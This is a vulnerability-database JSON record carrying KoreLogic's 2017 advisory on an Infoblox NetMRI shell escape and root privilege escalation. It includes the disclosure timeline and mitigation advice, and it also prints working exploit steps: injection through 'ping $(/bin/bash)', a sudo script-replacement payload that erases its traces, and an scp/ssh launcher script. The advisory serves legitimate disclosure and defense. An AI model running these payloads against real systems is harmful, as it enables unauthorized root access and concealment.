DATABASE RESOURCES PRICING ABOUT US

{"id": "1337DAY-ID-28868", "type": "zdt", "bulletinFamily": "exploit", "title": "Infoblox NetMRI 7.1.4 Shell Escape / Privilege Escalation Vulnerabilities", "description": "Exploit for hardware platform in category remote exploits", "published": "2017-10-25T00:00:00", "modified": "2017-10-25T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/28868", "reporter": "Matthew Bergin", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2018-03-20T01:19:30", "viewCount": 903, "enchantments": {"score": {"value": 6.7, "vector": "NONE"}, "dependencies": {}, "backreferences": {"references": [{"type": "korelogic", "idList": ["KL-001-2017-017"]}]}, "exploitation": null, "vulnersScore": 6.7}, "sourceHref": "https://0day.today/exploit/28868", "sourceData": "Title: Infoblox NetMRI Administration Shell Escape and Privilege Escalation\r\nAdvisory ID: KL-001-2017-017\r\nPublication Date: 2017.10.24\r\nPublication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-017.txt\r\n\r\n\r\n1. Vulnerability Details\r\n\r\n Affected Vendor: Infoblox\r\n Affected Product: NetMRI\r\n Affected Version: 7.1.2 - 7.1.4\r\n Platform: Embedded Linux\r\n CWE Classification: CWE-78: Improper Neutralization of Special Elements\r\n used in an OS Command ('OS Command Injection'),\r\n CWE-272: Least Privilege Violation\r\n Impact: Root Access\r\n Attack vector: SSH\r\n\r\n2. Vulnerability Description\r\n\r\n An authenticated user can escape the management shell and\r\n subsequently escalate to root via insecure file ownership and\r\n sudo permissions.\r\n\r\n3. Technical Description\r\n\r\n The attacker begins by logging into the NetMRI CLI using a\r\n previously acquired or default admin account credential.\r\n\r\n $ ssh [email\u00a0protected]\r\n NetMRI VM-AD30-5C6CE\r\n ALL UNAUTHORIZED ACCESS TO THIS SYSTEM WILL BE PROSECUTED TO THE MAXIMUM EXTENT ALLOWED BY APPLICABLE LAWS.\r\n Last login: Mon Mar 13 15:04:37 2017 from 1.3.3.6\r\n\r\n ************************************************************************\r\n ALL UNAUTHORIZED ACCESS TO THIS SYSTEM WILL BE PROSECUTED TO THE MAXIMUM\r\n EXTENT ALLOWED BY APPLICABLE LAWS.\r\n ************************************************************************\r\n\r\n NetMRI Administrative Shell\r\n ---------------------------\r\n\r\n Available Commands:\r\n acl ftp md5sum register setup\r\n autoupdate grep more remoteCopy show\r\n cat halt netstat removedsb snmpwalk\r\n clear help ping removemib ssh-key\r\n configure installdsb provisiondisk repair supportbundle\r\n debug installhelpfiles quit reset telnet\r\n deregister installmib rdtclient restore tftpsync\r\n diagnostic license reboot rm top\r\n exit ls recalculate-spm route traceroute\r\n export maintenance refreshgroups set\r\n\r\n A bash command can then be encapsulated using the $()\r\n technique. In the case below, we simply call the bash binary.\r\n\r\n NetMRI-VM-AD30-5C6CE> ping $(/bin/bash)\r\n NOTE: Defaulting to MGMT network. Use -I to bind to a specific network...\r\n\r\n This places us in a new shell. This is the shell of a normal\r\n user who has been given access to a subset of commands using\r\n sudo.\r\n\r\n The admin and netmri accounts are permitted to execute various\r\n system commands from /bin/ and /usr/bin/ with any arguments\r\n sufficient to trivially escalate to root access such as /bin/cp,\r\n /bin/chmod, /bin/mv, /usr/sbin/find, etc., as well as some\r\n vendor-specific programs under /tools/. These can be used to\r\n escalate to root by overwriting /etc/shadow, creating a setuid\r\n shell, etc.\r\n\r\n In addition, numerous commands in users' home directories can be\r\n executed as root via sudo, such as multiple /home/admin/*\r\n commands runnable by user admin, and /home/reset/FactoryReset for\r\n user reset. One such example is runTop. runTop is a script which\r\n resides in the home directory of the admin user.\r\n\r\n In order to escalate privileges to root using a sudo-able command\r\n in a user's home directory, an attacker can move the real file,\r\n then create a malicious replacement and call it using sudo:\r\n\r\n [[email\u00a0protected] Backup]$ cd /home/admin\r\n [[email\u00a0protected] ~]$ mv /home/admin/runTop /home/admin/runTop.orig\r\n [[email\u00a0protected] ~]$ echo '#!/bin/bash' > /home/admin/runTop\r\n [[email\u00a0protected] ~]$ echo /bin/bash >> /home/admin/runTop\r\n [[email\u00a0protected] ~]$ chmod a+x /home/admin/runTop\r\n [[email\u00a0protected] ~]$ sudo /home/admin/runTop\r\n\r\n Now we have root.\r\n\r\n [[email\u00a0protected] ~]# id;uname -a\r\n uid=0(root) gid=0(root) groups=0(root)\r\n Linux NetMRI-VM-AD30-5C6CE 3.14.25.osib.7.1.0.20160929 #1 SMP Thu Sep 29 12:50:42 UTC 2016 x86_64 x86_64 x86_64\r\nGNU/Linux\r\n [[email\u00a0protected] ~]#\r\n\r\n The users admin, netmri, and reset all have similar NOPASSWD\r\n sudoers entries for scripts and/or binaries which the privilege\r\n escalation can be performed against.\r\n\r\n4. Mitigation and Remediation Recommendation\r\n\r\n There is no known remediation of this vulnerability from the\r\n vendor. Administrators should heavily restrict access to any\r\n account of any privilege which can use the ping command in\r\n the NetMRI CLI.\r\n\r\n Network access to management interfaces should be properly\r\n segmented.\r\n\r\n5. Credit\r\n\r\n This vulnerability was discovered by Matt Bergin (@thatguylevel)\r\n and Hank Leininger of KoreLogic, Inc.\r\n\r\n6. Disclosure Timeline\r\n\r\n 2017.07.21 - KoreLogic requests security contact and PGP key\r\n from Infoblox.\r\n 2017.07.21 - Infoblox suggests '[email\u00a0protected]'\r\n with PGP key id 0xC4AB2799.\r\n 2017.07.24 - KoreLogic submits vulnerability information to Infoblox.\r\n 2017.07.31 - 5 business days have elapsed since the vulnerability\r\n was reported. No response from Infoblox.\r\n 2017.09.15 - KoreLogic requests update from Infoblox.\r\n 2017.09.26 - 45 business days have elapsed since the vulnerability\r\n was reported to Infoblox.\r\n 2017.10.17 - KoreLogic requests an update from Infoblox.\r\n 2017.10.18 - 60 business days have elapsed since the vulnerability\r\n was reported to Infoblox.\r\n 2017.10.24 - KoreLogic public disclosure.\r\n\r\n7. Proof of Concept\r\n\r\n Payload file (.a)\r\n\r\n #!/bin/bash\r\n mv /home/admin/runTop /home/admin/runTop.orig\r\n echo '#!/bin/bash' > /home/admin/runTop\r\n echo /bin/bash >> /home/admin/runTop\r\n chmod a+x /home/admin/runTop\r\n sudo /home/admin/runTop\r\n /bin/rm -rf /home/admin/runTop\r\n mv /home/admin/runTop.orig /home/admin/runTop\r\n /bin/rm -rf /var/home/admin/chroot-home/Backup/.a\r\n\r\n Exploit bash script\r\n\r\n #!/bin/bash\r\n TARGET_HOST=$2\r\n TARGET_PORT=$3\r\n TARGET_USER=$1\r\n scp -P $TARGET_PORT netmri-privesc [email\u00a0protected]$TARGET_HOST:.a\r\n ssh -p $TARGET_PORT [email\u00a0protected]$TARGET_HOST 'ping $(/bin/bash .a)'\r\n\r\n\r\n\r\nThe contents of this advisory are copyright(c) 2017\r\nKoreLogic, Inc. and are licensed under a Creative Commons\r\nAttribution Share-Alike 4.0 (United States) License:\r\nhttp://creativecommons.org/licenses/by-sa/4.0/\r\n\r\nKoreLogic, Inc. is a founder-owned and operated company with a\r\nproven track record of providing security services to entities\r\nranging from Fortune 500 to small and mid-sized companies. We\r\nare a highly skilled team of senior security consultants doing\r\nby-hand security assessments for the most important networks in\r\nthe U.S. and around the world. We are also developers of various\r\ntools and resources aimed at helping the security community.\r\nhttps://www.korelogic.com/about-korelogic.html\r\n\r\nOur public vulnerability disclosure policy is available at:\r\nhttps://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt\r\n\n\n# 0day.today [2018-03-19] #", "_state": {"dependencies": 1645538965, "score": 1698835979, "epss": 1678856326}, "_internal": {"score_hash": "b8f1bc2bfa54dee934e7ce21f1cf6e20"}}

{}